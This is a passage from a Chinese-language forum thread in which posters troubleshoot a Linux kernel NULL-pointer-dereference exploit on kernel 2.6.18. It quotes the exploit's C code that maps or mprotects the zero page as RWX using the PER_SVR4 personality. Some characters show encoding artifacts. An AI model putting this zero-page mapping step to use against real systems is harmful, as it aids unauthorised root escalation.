- 論壇徽章:
- 36
|
兄弟都有測試環(huán)境了, 為什么不試試? 還是在故意考驗(yàn)我呢, 呵呵。 我的理解是在2.6.18系統(tǒng)上你能設(shè)置PER_SVR4, 就能映射0地址。
呵呵,不好意思。
我就是測試了,沒有成功exploit。
因?yàn)橛X得理論上可以,所以問一下W.Z.T兄。
設(shè)置PER_SVR4之后,exploit.c調(diào)用的是mrprotect進(jìn)行修改內(nèi)存區(qū)的,但是失敗了:
if ((personality(0xffffffff)) != PER_SVR4) {
dbgprint("Not equal to PER_SVR4, \n");
mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
dbgprint("first mmap, mem = %p, addr = %x\n", mem, (unsigned long)mem);
if (mem != NULL) {
/* for old kernels with SELinux that don't allow RWX anonymous mappings
luckily they don't have NX support either ;) */
mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
dbgprint("second mmap, mem = %p\n", mem);
if (mem != NULL) {
fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
return 1;
}
}
} else {
ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
if (ret == -1) {
fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
return 1;
}
} |
|